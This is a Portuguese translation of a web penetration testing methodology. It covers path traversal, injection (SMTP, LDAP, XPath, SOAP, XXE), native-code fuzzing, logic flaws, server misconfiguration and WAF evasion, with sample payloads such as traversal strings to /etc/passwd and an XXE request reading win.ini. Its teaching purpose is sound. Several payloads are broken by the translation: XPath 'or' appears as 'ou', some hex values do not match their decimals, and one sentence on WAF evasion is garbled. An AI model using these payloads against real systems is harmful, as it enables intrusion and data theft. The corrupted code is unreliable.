7.5.4 Se o teste anterior de uso de sequências transversais dentro do diretório base for bem-sucedido, tente usar sequências adicionais para ultrapassar o diretório base e acessar arquivos conhecidos no sistema operacional do servidor. Se essas tentativas falharem, o aplicativo poderá estar impondo vários filtros ou verificações antes que o acesso ao arquivo seja concedido. Você deve investigar mais a fundo para entender os controles implementados e se há algum desvio.

7.5.5 O aplicativo pode estar verificando a extensão do arquivo solicitado e permitindo o acesso apenas a determinados tipos de arquivos. Tente usar um byte nulo ou um ataque de nova linha junto com uma extensão de arquivo conhecida e aceita em uma tentativa de contornar o filtro. Por exemplo:

```
../../../../../boot.ini%00.jpg
../../../../../../etc/passwd%0a.jpg
```

7.5.6 O aplicativo pode estar verificando se o caminho do arquivo fornecido pelo usuário começa com um determinado diretório ou haste. Tente anexar sequências transversais após uma haste conhecida e aceita na tentativa de contornar o filtro. Por exemplo:

```
/images/../../../../../../../../../etc/passwd
```

7.5.7 Se esses ataques não forem bem-sucedidos, tente combinar vários desvios, trabalhando inicialmente inteiramente dentro do diretório base em uma tentativa de entender os filtros em vigor e as maneiras pelas quais o aplicativo lida com entradas inesperadas.

7.5.8 Se você conseguir obter acesso de leitura a arquivos arbitrários no servidor, tente recuperar qualquer um dos seguintes arquivos, o que pode permitir que você amplie o ataque:

- Arquivos de senha para o sistema operacional e o aplicativo
- Arquivos de configuração de servidores e aplicativos, para descobrir outras vulnerabilidades ou ajustar um ataque diferente
- Incluir arquivos que possam conter credenciais de banco de dados
- Fontes de dados usadas pelo aplicativo, como arquivos de banco de dados MySQL ou arquivos XML
- O código-fonte das páginas executáveis no servidor, para realizar uma revisão do código em busca de erros
- Arquivos de registro de aplicativos que podem conter informações como nomes de usuário e tokens de sessão

7.5.9 Se você conseguir obter acesso de gravação a arquivos arbitrários no servidor, examine se algum dos ataques a seguir é viável para ampliar o ataque:

- Criação de scripts nas pastas de inicialização dos usuários
- Modificação de arquivos como `in.ftpd` para executar comandos arbitrários quando um usuário se conectar novamente
- Gravar scripts em um diretório da Web com permissões de execução e chamá-los a partir do navegador

7.6 Teste de injeção de script

7.6.1 Para cada teste de fuzz realizado, analise os resultados da string `111111` isoladamente (ou seja, não precedida pelo restante da string de teste). Você pode identificá-los rapidamente no Burp Intruder clicando com a tecla Shift no cabeçalho da string `111111` Grep para agrupar todos os resultados que contêm essa string. Procure por qualquer um que não tenha uma verificação na coluna Payload Grep. Todos os casos identificados provavelmente são vulneráveis à injeção de comandos de script.

7.6.2 Revise todos os casos de teste que usaram strings de injeção de script e identifique qualquer um que contenha mensagens de erro de script que possam indicar que sua entrada está sendo executada, mas causou um erro. Talvez seja necessário fazer um ajuste fino para executar a injeção de script com êxito.

7.6.3 Se o aplicativo parecer vulnerável, verifique isso injetando outros comandos específicos da plataforma de script em uso. Por exemplo, você pode usar cargas úteis de ataque semelhantes àquelas usadas no fuzzing para injeção de comandos do sistema operacional:

```
system('ping%20127.0.0.1')
```

7.7 Teste de inclusão de arquivos

7.7.1 Se você recebeu alguma conexão HTTP de entrada da infraestrutura do aplicativo de destino durante o fuzzing, é quase certo que o aplicativo é vulnerável à inclusão remota de arquivos. Repita os testes relevantes em um único thread e com limitação de tempo para determinar exatamente quais parâmetros estão fazendo com que o aplicativo emita as solicitações HTTP.

7.7.2 Analise os resultados dos casos de teste de inclusão de arquivos e identifique qualquer um que tenha causado um atraso anômalo na resposta do aplicativo. Nesses casos, pode ser que o aplicativo em si esteja vulnerável, mas as solicitações HTTP resultantes estão atrasando devido a filtros em nível de rede.

7.7.3 Se você encontrar uma vulnerabilidade de inclusão remota de arquivo, implante um servidor da Web que contenha um script mal-intencionado específico para o idioma que você está almejando e use comandos como os usados para testar a injeção de script para verificar se o script está sendo executado.

8 Teste de vulnerabilidades de entrada específicas da função

Além dos ataques baseados em entrada visados na etapa anterior, uma série de vulnerabilidades normalmente se manifesta apenas em tipos específicos de funcionalidade. Antes de prosseguir com as etapas individuais descritas nesta seção, revise sua avaliação da superfície de ataque do aplicativo para identificar funções específicas do aplicativo em que esses defeitos podem surgir e concentre seus testes nelas.

Figura 21-9: Teste de vulnerabilidades de entrada específicas da funcionalidade

8.1 Teste de injeção de SMTP

8.1.1 Para cada solicitação empregada na funcionalidade relacionada a e-mail, envie cada uma das seguintes sequências de teste como cada parâmetro, inserindo seu próprio endereço de e-mail na posição relevante. Você pode usar o Burp Intruder para automatizar isso, conforme descrito na etapa 7.1 para fuzzing geral. Essas sequências de teste já têm caracteres especiais codificados por URL, portanto, não aplique nenhuma codificação adicional a elas.

```
<youremail>%0aCc:<youremail>

<youremail>%0d%0aCc:<youremail>

<youremail>%0aBcc:<youremail>

<youremail>%0d%0aBcc:<youremail>

%0aDATA%0afoo%0a%2e%0aMAIL+FROM:+<youremail>%0aRCPT+TO:+<youremail>
```

```
%0aDATA%0aFrom:+<youremail>%0aTo:+<youremail>%0aSubject:+test%0afoo
%0a%2e%0a

%0d%0aDATA%0d%0afoo%0d%0a%2e%0d%0aMAIL+FROM:+<youremail>%0d%0aRCPT
+TO:+
<youremail>%0d%0aDATA%0d%0aFrom:+<youremail>%0d%0aTo:+<youremail>
%0d%0aSubject:+test%0d%0afoo%0d%0a%2e%0d%0a
```

8.1.2 Analise os resultados para identificar as mensagens de erro que o aplicativo retorna. Se elas parecerem estar relacionadas a algum problema na função de e-mail, investigue se você precisa ajustar sua entrada para explorar uma vulnerabilidade.

8.1.3 Monitore o endereço de e-mail que você especificou para ver se alguma mensagem de e-mail foi recebida.

8.1.4 Examine atentamente o formulário HTML que gera a solicitação relevante. Ele pode conter pistas sobre o software do lado do servidor que está sendo usado. Ele também pode conter um campo oculto ou desativado que é usado para especificar o endereço To do e-mail, que você pode modificar diretamente.

8.2 Teste de vulnerabilidades de software nativo

8.2.1 *Teste de estouro de buffer*

8.2.1.1 Para cada item de dados que estiver sendo direcionado, envie um intervalo de strings longas com comprimentos um pouco maiores do que os tamanhos comuns de buffer. Direcione um item de dados de cada vez para maximizar a cobertura dos caminhos de código no aplicativo. Você pode usar a fonte de carga útil de blocos de caracteres no Burp Intruder para gerar automaticamente cargas úteis de vários tamanhos. Os seguintes tamanhos de buffer são adequados para teste:

```
1100
4200
33000
```

8.2.1.2 Monitore as respostas do aplicativo para identificar quaisquer anomalias. É quase certo que um estouro não controlado causará uma exceção no aplicativo, embora possa ser difícil diagnosticar a natureza do problema remotamente. Procure qualquer uma das seguintes anomalias:

- Um código de status HTTP 500 ou uma mensagem de erro, em que outra entrada malformada (mas não muito longa) não tem o mesmo efeito
- Uma mensagem informativa indicando que ocorreu uma falha em algum componente de código nativo externo
- Uma resposta parcial ou malformada sendo recebida do servidor
- A conexão TCP com o servidor é encerrada abruptamente sem retornar uma resposta

- O aplicativo da Web inteiro não está mais respondendo
- Dados inesperados sendo retornados pelo aplicativo, possivelmente indicando que uma string na memória perdeu seu terminador nulo.

8.2.2 *Teste de vulnerabilidades de números inteiros*

8.2.2.1 Ao lidar com componentes de código nativo, identifique todos os dados baseados em inteiros, especialmente os indicadores de comprimento, que podem ser usados para acionar vulnerabilidades de inteiros.

8.2.2.2 Em cada item visado, envie cargas úteis adequadas projetadas para acionar quaisquer vulnerabilidades. Para cada item de dados que estiver sendo visado, envie uma série de valores diferentes, representando casos de limite para as versões assinadas e não assinadas de diferentes tamanhos de inteiros. Por exemplo:

- 0x7f e 0x80 (127 e 128)
- 0xff e 0x100 (255 e 256)
- 0x7ffff e 0x8000 (32767 e 32768)
- 0xffff e 0x10000 (65535 e 65536)
- 0x7fffffff e 0x80000000 (2147483647 e 2147483648)
- 0xffffffffff e 0x0 (4294967295 e 0)

8.2.2.3 Quando os dados que estão sendo modificados forem representados em formato hexadecimal, envie as versões little-endian e big-endian de cada caso de teste, como `ff7f` e `7fff`. Se os números hexadecimais forem enviados em formato ASCII, use o mesmo caso que o próprio aplicativo usa para caracteres alfabéticos para garantir que eles sejam decodificados corretamente.

8.2.2.4 Monitore as respostas do aplicativo em busca de eventos anômalos, conforme descrito na etapa 8.2.1.2.

8.2.3 *Teste de vulnerabilidades de formatação de strings*

8.2.3.1 Visando cada parâmetro individualmente, envie cadeias de caracteres que contenham sequências longas de diferentes especificadores de formato. Por exemplo:

```
%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
%1!n!%2!n!%3!n!%4!n!%5!n!%6!n!%7!n!%8!n!%9!n!%10!n! etc...
%1!s!%2!s!%3!s!%4!s!%5!s!%6!s!%7!s!%8!s!%9!s!%10!s! etc...
```

Lembre-se de codificar o caractere `%` no URL como `%25`.

8.2.3.2 Monitore as respostas do aplicativo em busca de eventos anômalos, conforme descrito na etapa 8.2.1.2.

8.3 Teste para injeção de SOAP

8.3.1 Direcione cada parâmetro que você suspeita estar sendo processado por meio de uma mensagem SOAP. Envie uma tag de fechamento de XML não autorizada, como `</foo>`. Se não ocorrer nenhum erro, provavelmente sua entrada não está sendo inserida em uma mensagem SOAP ou está sendo higienizada de alguma forma.

8.3.2 Se um erro foi recebido, envie, em vez disso, um par de tags de abertura e fechamento válidas, como `<foo></foo>`. Se isso fizer com que o erro desapareça, o aplicativo poderá estar vulnerável.

8.3.3 Se o item que você enviar for copiado de volta para as respostas do aplicativo, envie os dois valores seguintes, um de cada vez. Se você descobrir que um dos itens é retornado como o outro, ou simplesmente como um `teste`, pode ter certeza de que sua entrada está sendo inserida em uma mensagem baseada em XML.

```
teste<foo/>
teste<foo></foo>
```

8.3.4 Se a solicitação HTTP contiver vários parâmetros que possam estar sendo colocados em uma mensagem SOAP, tente inserir o caractere de comentário de abertura `<!--` em um parâmetro e o caractere de comentário de fechamento `!-->` em outro parâmetro. Em seguida, troque-os (porque você não tem como saber em que ordem os parâmetros aparecem). Isso pode ter o efeito de comentar uma parte da mensagem SOAP do servidor, o que pode alterar a lógica do aplicativo ou resultar em uma condição de erro diferente que pode divulgar informações.

8.4 Teste de injeção de LDAP

8.4.1 Em qualquer funcionalidade em que os dados fornecidos pelo usuário sejam usados para recuperar informações de um serviço de diretório, direcione cada parâmetro individualmente para testar a possibilidade de injeção em uma consulta LDAP.

8.4.2 Envie o caractere `*`. Se um grande número de resultados for retornado, esse é um bom indicador de que você está lidando com uma consulta LDAP.

8.4.3 Tente inserir um número de parênteses de fechamento:

```
))))))))))
```

Essa entrada invalida a sintaxe da consulta, portanto, se ocorrer um erro ou outro comportamento anômalo, o aplicativo poderá ficar vulnerável (embora muitas outras funções de aplicativos e situações de injeção possam se comportar da mesma forma).

8.4.4 Tente inserir várias expressões criadas para interferir em diferentes tipos de consultas e veja se elas permitem que você influencie os resultados

retornado. O atributo `cn` é suportado por todas as implementações LDAP e é útil se você não souber nenhum detalhe sobre o diretório que está consultando:

```
)(cn=*
*))(|(cn=*
*))%00
```

8.4.5 Tente adicionar atributos extras ao final de sua entrada, usando vírgulas para separar cada item. Teste cada atributo por vez. Um erro indica que o atributo não é válido no contexto atual. Os atributos a seguir são comumente usados em diretórios consultados pelo LDAP:

```
cn
c
mail
givenname
o
ou
dc
l
uid
objectclass
postaladdress
dn
sn
```

8.5 Teste de injeção de XPath

8.5.1 Tente enviar os seguintes valores e determine se eles resultam em um comportamento diferente do aplicativo sem causar um erro:

```
' ou count(parent::*[position()=1])=0 ou 'a'='b '
ou count(parent::*[position()=1])>0 ou 'a'='b
```

8.5.2 Se o parâmetro for numérico, tente também as seguintes cadeias de caracteres de teste:

```
1 ou count(parent::*[position()=1])=0
1 ou count(parent::*[position()=1])>0
```

8.5.3 Se qualquer uma das cadeias de caracteres anteriores causar um comportamento diferencial no aplicativo sem causar um erro, é provável que você possa extrair dados arbitrários criando condições de teste para extrair um byte de informação por vez. Use uma série de condições com o seguinte formato para determinar o nome do pai do nó atual:

```
substring(name(parent::*[position()=1]),1,1)='a'
```

8.5.4 Depois de extrair o nome do nó pai, use uma série de condições com o seguinte formato para extrair todos os dados da árvore XML:

```
substring(//parentnodename[position()=1]/child::node()[position()=1]
/text(),1,1)='a'
```

8.6 Teste de injeção de solicitação de back-end

8.6.1 Localize qualquer instância em que um nome de servidor interno ou endereço IP seja especificado em um parâmetro. Envie um servidor e uma porta arbitrários e monitore o aplicativo quanto a um tempo limite. Envie também `localhost` e, finalmente, seu próprio endereço IP, monitorando as conexões de entrada na porta especificada.

8.6.2 Direcione um parâmetro de solicitação que retorna uma página específica para um valor específico e tente anexar um novo parâmetro injetado usando várias sintaxes, inclusive a seguinte:

`%26foo%3dbar` (`&foo=bar` codificado por URL)

`%3bfoo%3dbar` (codificado por URL `;foo=bar`)

`%2526foo%253dbar` (`&foo=bar` com codificação dupla de URL)

Se o aplicativo se comportar como se o parâmetro original não tivesse sido modificado, há uma chance de vulnerabilidades de injeção de parâmetro HTTP. Tente atacar a solicitação de back-end injetando pares de nome/valor de parâmetro conhecidos que possam alterar a lógica de back-end, conforme descrito no Capítulo 10.

8.7 Teste para injeção de XXE

8.7.1 Se os usuários estiverem enviando XML para o servidor, um ataque de injeção de entidade externa poderá ser possível. Se for conhecido um campo que é retornado ao usuário, tente especificar uma entidade externa, como no exemplo a seguir:

```
POST /search/128/AjaxSearch.ashx HTTP/1.1
Host: mdsec.net
Content-Type: text/xml; charset=UTF-8
Content-Length: 115

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///windows/win.ini" > ]>
<Search><SearchTerm>&xxe;</SearchTerm></Search>
```

Se não for possível encontrar nenhum campo conhecido, especifique uma entidade externa de `"http://192.168.1.1:25"` e monitore o tempo de resposta da página. Se a página demorar muito mais tempo para retornar ou se o tempo expirar, ela pode estar vulnerável.

9 Teste de falhas lógicas

Figura 21-10: Teste de falhas lógicas

9.1 Identificar a principal superfície de ataque

9.1.1 As falhas de lógica podem assumir uma enorme variedade de formas e existir em qualquer aspecto da funcionalidade do aplicativo. Para garantir que a sondagem de falhas de lógica seja viável, você deve primeiro restringir a superfície de ataque a uma área razoável para testes manuais.

9.1.2 Analise os resultados dos exercícios de mapeamento de aplicativos e identifique todas as instâncias dos seguintes recursos:

- Processos de vários estágios
- Funções críticas de segurança, como login
- Transições entre limites de confiança (por exemplo, passar do anonimato para o autorregistro e para o login)
- Funcionalidade baseada em contexto apresentada a um usuário
- Verificações e ajustes feitos nos preços ou quantidades da transação

9.2 Testar processos de vários estágios

9.2.1 Quando um processo de vários estágios envolver uma sequência definida de solicitações, tente enviar essas solicitações fora da sequência esperada. Tente pular determinados estágios, acessar um único estágio mais de uma vez e acessar estágios anteriores depois dos posteriores.

9.2.2 A sequência de estágios pode ser acessada por meio de uma série de solicitações `GET` ou `POST` para URLs distintos, ou pode envolver o envio de diferentes conjuntos de parâmetros para o mesmo URL. Você pode especificar o estágio que está sendo

solicitado enviando um nome de função ou índice em um parâmetro de solicitação. Certifique-se de entender completamente os mecanismos que o aplicativo está empregando para fornecer acesso a estágios distintos.

9.2.3 Além de interferir na sequência de etapas, tente pegar parâmetros que são enviados em um estágio do processo e enviá-los em um estágio diferente. Se os itens de dados relevantes forem atualizados no estado do aplicativo, você deverá investigar se pode aproveitar esse comportamento para interferir na lógica do aplicativo.

9.2.4 Se um processo de vários estágios envolver diferentes usuários realizando operações no mesmo conjunto de dados, tente pegar cada parâmetro enviado por um usuário e enviá-lo como outro. Se eles forem aceitos e processados como esse usuário, explore as implicações desse comportamento, conforme descrito anteriormente.

9.2.5 A partir do contexto da funcionalidade implementada, tente entender quais suposições os desenvolvedores podem ter feito e onde está a principal superfície de ataque. Tente identificar maneiras de violar essas suposições para causar um comportamento indesejável no aplicativo.

9.2.6 Quando funções de vários estágios são acessadas fora de sequência, é comum encontrar uma variedade de condições anômalas no aplicativo, como variáveis com valores nulos ou não inicializados, estado parcialmente definido ou inconsistente e outros comportamentos imprevisíveis. Procure mensagens de erro interessantes e saída de depuração, que você pode usar para entender melhor o funcionamento interno do aplicativo e, assim, ajustar o ataque atual ou um ataque diferente.

9.3 Teste de manipulação de entrada incompleta

9.3.1 Para funções críticas de segurança no aplicativo, que envolvem o processamento de vários itens de entrada do usuário e a tomada de decisão com base neles, teste a resistência do aplicativo a solicitações que contenham entradas incompletas.

9.3.2 Para cada parâmetro, remova o nome e o valor do parâmetro da solicitação. Monitore as respostas do aplicativo quanto a qualquer divergência no comportamento e mensagens de erro que esclareçam a lógica que está sendo executada.

9.3.3 Se a solicitação que você estiver manipulando fizer parte de um processo de vários estágios, siga o processo até a conclusão, pois o aplicativo pode armazenar dados enviados em estágios anteriores dentro da sessão e processá-los em um estágio posterior.

9.4 Teste os limites de confiança

9.4.1 Examine como o aplicativo lida com as transições entre diferentes tipos de confiança do usuário. Procure a funcionalidade em que um usuário com um determinado status de confiança possa acumular uma quantidade de estado relacionado à sua identidade. Por exemplo, um usuário anônimo poderia fornecer informações pessoais durante o autorregistro ou passar por parte de um processo de recuperação de conta projetado para estabelecer sua identidade.

9.4.2 Tente encontrar maneiras de fazer transições impróprias entre limites de confiança, acumulando estado relevante em uma área e, em seguida, alternando para uma área diferente de uma forma que não ocorreria normalmente. Por exemplo, depois de concluir parte de um processo de recuperação de conta, tente mudar para uma página específica de usuário autenticado. Teste se o aplicativo atribui a você um nível inadequado de confiança quando você faz essa transição.

9.4.3 Tente determinar se você pode aproveitar qualquer função com privilégios mais altos, direta ou indiretamente, para acessar ou inferir informações.

9.5 Testar a lógica da transação

9.5.1 Nos casos em que o aplicativo impõe limites de transação, teste os efeitos do envio de valores negativos. Se esses valores forem aceitos, talvez seja possível superar os limites fazendo grandes transações na direção oposta.

9.5.2 Examine se você pode usar uma série de transações sucessivas para criar um estado que possa ser explorado para uma finalidade útil. Por exemplo, você pode realizar várias transferências de baixo valor entre contas para acumular um saldo grande que a lógica do aplicativo deveria evitar.

9.5.3 Se o aplicativo ajustar os preços ou outros valores sensíveis com base em critérios determinados por dados ou ações controláveis pelo usuário, primeiro entenda os algoritmos usados pelo aplicativo e o ponto em sua lógica em que os ajustes são feitos. Identifique se esses ajustes são feitos uma única vez ou se são revisados em resposta a outras ações executadas pelo usuário.

9.5.4 Tente encontrar maneiras de manipular o comportamento do aplicativo para fazer com que ele entre em um estado em que os ajustes aplicados não correspondam aos critérios originais pretendidos por seus projetistas.

10 Teste de vulnerabilidades de hospedagem

compartilhada

Figura 21-11: Teste de vulnerabilidades de hospedagem compartilhada

10.1 Segregação de testes em infraestruturas compartilhadas

10.1.1 Se o aplicativo estiver hospedado em uma infraestrutura compartilhada, examine os mecanismos de acesso fornecidos aos clientes do ambiente compartilhado para atualizar e gerenciar seu conteúdo e funcionalidade. Considere as seguintes questões:

- O recurso de acesso remoto usa um protocolo seguro e uma infraestrutura adequadamente reforçada?
- Os clientes podem acessar arquivos, dados e outros recursos que não precisam acessar de forma legítima?
- Os clientes podem obter um shell interativo no ambiente de hospedagem e executar comandos arbitrários?

10.1.2 Se um aplicativo proprietário for usado para permitir que os clientes configurem e personalizem um ambiente compartilhado, considere a possibilidade de direcionar esse aplicativo como uma forma de comprometer o próprio ambiente e os aplicativos individuais executados nele.

10.1.3 Se for possível obter execução de comandos, injeção de SQL ou acesso arbitrário a arquivos em um aplicativo, investigue cuidadosamente se isso oferece alguma forma de escalar o ataque para atingir outros aplicativos.

10.2 Teste a segregação entre aplicativos hospedados em ASP

10.2.1 Se o aplicativo pertencer a um serviço hospedado em ASP composto por uma mistura de componentes compartilhados e personalizados, identifique todos os componentes compartilhados, como mecanismos de registro, funções administrativas e componentes de código de banco de dados. Tente aproveitá-los para comprometer a parte compartilhada do aplicativo e, assim, atacar outros aplicativos individuais.

10.2.2 Se um banco de dados comum for usado em qualquer tipo de ambiente compartilhado, faça uma auditoria abrangente da configuração do banco de dados, do nível de correção, da estrutura da tabela e das permissões usando uma ferramenta de verificação de banco de dados, como o NGSSquirrel. Qualquer defeito no modelo de segurança do banco de dados pode proporcionar uma maneira de escalar um ataque de um aplicativo para outro.

11 Teste de vulnerabilidades do servidor de aplicativos

Figura 21-12: Teste de vulnerabilidades do servidor da Web

11.1 Teste de credenciais padrão

11.1.1 Analise os resultados dos exercícios de mapeamento de aplicativos para identificar o servidor da Web e outras tecnologias em uso que possam conter interfaces administrativas acessíveis.

11.1.2 Execute uma varredura de porta do servidor Web para identificar quaisquer interfaces administrativas executadas em uma porta diferente da do aplicativo de destino principal.

11.1.3 Para todas as interfaces identificadas, consulte a documentação do fabricante e as listas de senhas padrão comuns para obter as credenciais padrão.

11.1.4 Se as credenciais padrão não funcionarem, use as etapas listadas na seção 4 para tentar adivinhar credenciais válidas.

11.1.5 Se você obtiver acesso a uma interface administrativa, analise a funcionalidade disponível e determine se ela pode ser usada para comprometer ainda mais o host e atacar o aplicativo principal.

11.2 Teste de conteúdo padrão

11.2.1 Analise os resultados da varredura Nikto (etapa 1.4.1) para identificar qualquer conteúdo padrão que possa estar presente no servidor, mas que não seja parte integrante do aplicativo.

11.2.2 Use mecanismos de pesquisa e outros recursos, como `www.exploit-db.com` e www.osvdb.org, para identificar o conteúdo e a funcionalidade padrão incluídos nas tecnologias que você sabe que estão em uso. Se possível, faça uma instalação local dessas tecnologias e analise-as para verificar se há alguma funcionalidade padrão que possa ser aproveitada em seu ataque.

11.2.3 Examine o conteúdo padrão para verificar se há alguma funcionalidade ou vulnerabilidade que possa ser aproveitada para atacar o servidor ou o aplicativo.

11.3 Teste de métodos HTTP perigosos

11.3.1 Use o método `OPTIONS` para listar os métodos HTTP que o servidor declara estarem disponíveis. Observe que métodos diferentes podem estar ativados em diretórios diferentes. Você pode executar uma varredura de vulnerabilidade no Paros para realizar essa verificação.

11.3.2 Experimente cada método relatado manualmente para confirmar se ele pode de fato ser usado.

11.3.3 Se você descobrir que alguns métodos WebDAV estão habilitados, use um cliente habilitado para WebDAV para uma investigação mais aprofundada, como o Microsoft FrontPage ou a opção Abrir como pasta da Web no Internet Explorer.

11.4 Teste de funcionalidade de proxy

11.4.1 Usando solicitações `GET` e `CONNECT`, tente usar o servidor da Web como proxy para se conectar a outros servidores na Internet e recuperar o conteúdo deles.

11.4.2 Usando solicitações `GET` e `CONNECT`, tente se conectar a diferentes endereços IP e portas na infraestrutura de hospedagem.

11.4.3 Usando as solicitações `GET` e `CONNECT`, tente se conectar a números de porta comuns no próprio servidor da Web especificando 127.0.0.1 como o host de destino na solicitação.

11.5 Teste de configuração incorreta da hospedagem virtual

11.5.1 Envie solicitações `GET` para o diretório raiz usando o seguinte:

- O cabeçalho `Host` correto
- Um cabeçalho de `host` falso

- O endereço IP do servidor no cabeçalho `Host`
- Sem cabeçalho `Host` (use apenas HTTP/1.0)

11.5.2 Compare as respostas a essas solicitações. Um resultado comum é que as listagens de diretórios são obtidas quando o endereço IP do servidor é usado no cabeçalho `Host`. Você também pode descobrir que um conteúdo padrão diferente está acessível.

11.5.3 Se observar um comportamento diferente, repita os exercícios de mapeamento de aplicativos descritos na seção 1 usando o nome de host que gerou resultados diferentes. Certifique-se de executar uma varredura Nikto usando a opção `-vhost` para identificar qualquer conteúdo padrão que possa ter sido ignorado durante o mapeamento inicial do aplicativo.

11.6 Teste de bugs no software do servidor da Web

11.6.1 Execute o Nessus e quaisquer outros scanners semelhantes que você tenha disponíveis para identificar quaisquer vulnerabilidades conhecidas no software do servidor Web que você está atacando.

11.6.2 Analise recursos como Security Focus, Bugtraq e Full Disclosure para encontrar detalhes de vulnerabilidades descobertas recentemente que podem não ter sido corrigidas em seu alvo.

11.6.3 Se o aplicativo foi desenvolvido por terceiros, investigue se ele vem com seu próprio servidor Web (geralmente um servidor de código aberto). Se isso acontecer, investigue se há alguma vulnerabilidade. Esteja ciente de que, nesse caso, o banner padrão do servidor pode ter sido modificado.

11.6.4 Se possível, considere a possibilidade de realizar uma instalação local do software que está atacando e faça seus próprios testes para encontrar novas vulnerabilidades que não tenham sido descobertas ou amplamente divulgadas.

11.7 Teste de firewall de aplicativos da Web

11.7.1 Envie um nome de parâmetro arbitrário para o aplicativo com uma carga útil de ataque clara no valor, de preferência em algum lugar em que o aplicativo inclua o nome e/ou o valor na resposta. Se o aplicativo bloquear o ataque, é provável que isso se deva a uma defesa externa.

11.7.2 Se for possível enviar uma variável que seja retornada em uma resposta do servidor, envie um intervalo de strings de fuzz e variantes codificadas para identificar o comportamento das defesas do aplicativo em relação à entrada do usuário.

11.7.3 Confirme esse comportamento executando os mesmos ataques em variáveis dentro do aplicativo.

11.7.4 Para todas as strings e solicitações de fuzzing, use strings de carga útil que provavelmente não existirão em um banco de dados de assinatura padrão. Apesar de dar exemplos de

Isso é impossível por definição; evite usar `/etc/passwd` ou `/windows/system32/config/sam` como cargas úteis para recuperação de arquivos. Evite também usar termos como `<script>` em um ataque XSS e usar `alert()` ou `xss` como cargas úteis XSS.

11.7.5 Se uma determinada solicitação for bloqueada, tente enviar o mesmo parâmetro em um local ou contexto diferente. Por exemplo, envie o mesmo parâmetro no URL em uma solicitação `GET`, no corpo de uma solicitação `POST` e no URL em uma solicitação `POST`.

11.7.6 No ASP.NET, tente também enviar o parâmetro como um cookie. A API `Request.Params["foo"]` recuperará o valor de um cookie chamado `foo` se o parâmetro `foo` não for encontrado na cadeia de consulta ou no corpo da mensagem.

11.7.7 Analise todos os outros métodos de introdução de entrada do usuário fornecidos no Capítulo 4 e selecione os que não estiverem protegidos.

11.7.8 Determine os locais em que a entrada do usuário é (ou pode ser) enviada em um formato não padrão, como serialização ou codificação. Se não houver nenhum disponível, crie a string de ataque por meio de concatenação e/ou abrangendo-a em várias variáveis. (Observe que, se o alvo for o ASP.NET, você poderá usar o HPP para concatenar o ataque usando várias especificações da mesma variável).

12 Cheques diversos

Figura 21-13: Verificações diversas

12.1 Verificação de ataques baseados em DOM

12.1.1 Faça uma breve revisão do código de cada parte do JavaScript recebido do aplicativo. Identifique todas as vulnerabilidades de XSS ou de redirecionamento que possam ser acionadas pelo uso de um URL criado para introduzir dados mal-intencionados no DOM da página relevante. Inclua todos os arquivos JavaScript autônomos

e scripts contidos em páginas HTML (estáticas e geradas dinamicamente).

12.1.2 Identifique todos os usos das seguintes APIs, que podem ser usadas para acessar dados do DOM que podem ser controlados por meio de uma URL criada:

```
document.location
document.URL
document.URLUnencoded
document.referrer
window.location
```

12.1.3 Rastreie os dados relevantes por meio do código para identificar quais ações são executadas com eles. Se os dados (ou uma forma manipulada deles) forem passados para uma das APIs a seguir, o aplicativo poderá estar vulnerável a XSS:

```
document.write()
document.writeln()
document.body.innerHtml
eval() window.execScript()
window.setInterval()
window.setTimeout()
```

12.1.4 Se os dados forem passados para uma das APIs a seguir, o aplicativo poderá estar vulnerável a um ataque de redirecionamento:

```
document.location
document.URL
document.open()
window.location.href
window.navigate()
window.open()
```

12.2 Verificação de vulnerabilidades de privacidade local

12.2.1 Analise os logs criados pelo proxy de interceptação para identificar todas as diretivas `Set-Cookie` recebidas do aplicativo durante o teste. Se alguma delas contiver um atributo `de expiração` com uma data futura, o cookie será armazenado pelos navegadores dos usuários até essa data. Analise o conteúdo de todos os cookies persistentes em busca de dados confidenciais.

12.2.2 Se for definido um cookie persistente que contenha dados confidenciais, um invasor local poderá capturar esses dados. Mesmo que os dados sejam criptografados, um invasor que os capturar poderá reenviar o cookie ao aplicativo e obter acesso a qualquer dado ou funcionalidade que isso permita.

12.2.3 Se alguma página de aplicativo que contenha dados confidenciais for acessada por HTTP, procure por alguma diretiva de cache nas respostas do servidor. Se alguma das seguintes diretivas não existir (seja nos cabeçalhos HTTP

ou em metatags HTML), a página em questão pode ser armazenada em cache por um ou mais navegadores:

```
Expira: 0
Cache-control: no-cache
Pragma: no-cache
```

12.2.4 Identifique todas as instâncias do aplicativo em que os dados confidenciais são transmitidos por meio de um parâmetro de URL. Se houver algum caso, examine o histórico do navegador para verificar se esses dados foram armazenados lá.

12.2.5 Para todos os formulários usados para capturar dados confidenciais do usuário (como detalhes de cartão de crédito), revise a fonte HTML do formulário. Se o atributo `autocomplete=off` não for definido na tag do formulário ou na tag do campo de entrada individual, os dados inseridos serão armazenados nos navegadores que suportam o autocomplete, desde que o usuário não tenha desativado esse recurso.

12.2.6 Verifique se há armazenamento local específico da tecnologia.

12.2.6.1 Verifique se há objetos locais do Flash usando o plug-in BetterPrivacy para Firefox.

12.2.6.2 Verifique qualquer armazenamento isolado do Silverlight nesse diretório: `C:\Usuários\{nome de usuário}\AppData\LocalLow\Microsoft\ Silverlight\`

12.2.6.3 Verifique qualquer uso de armazenamento local HTML5.

12.3 Verificação de cifras SSL fracas

12.3.1 Se o aplicativo usar SSL para qualquer uma de suas comunicações, use a ferramenta THCSSLCheck para listar as cifras e os protocolos compatíveis.

12.3.2 Se houver suporte a cifras e protocolos fracos ou obsoletos, um invasor adequadamente posicionado poderá realizar um ataque para fazer downgrade ou decifrar as comunicações SSL de um usuário de aplicativo, obtendo acesso aos seus dados confidenciais.

12.3.3 Alguns servidores da Web anunciam determinadas cifras e protocolos fracos como compatíveis, mas se recusam a realmente concluir um handshake usando-os se um cliente os solicitar. Isso pode levar a falsos positivos quando você usa a ferramenta THCSSLCheck. Você pode usar o navegador Opera para tentar realizar um handshake completo usando protocolos fracos especificados para confirmar se eles podem realmente ser usados para acessar o aplicativo.

12.4 Verificar a configuração da política de mesma origem

12.4.1 Verifique o arquivo `/crossdomain.xml`. Se o aplicativo permitir acesso irrestrito (especificando `<allow-access-from domain="*" />`), os objetos Flash

de qualquer outro site pode realizar uma interação bidirecional, aproveitando as sessões dos usuários do aplicativo. Isso permitiria que todos os dados fossem recuperados e todas as ações do usuário fossem executadas por qualquer outro domínio.

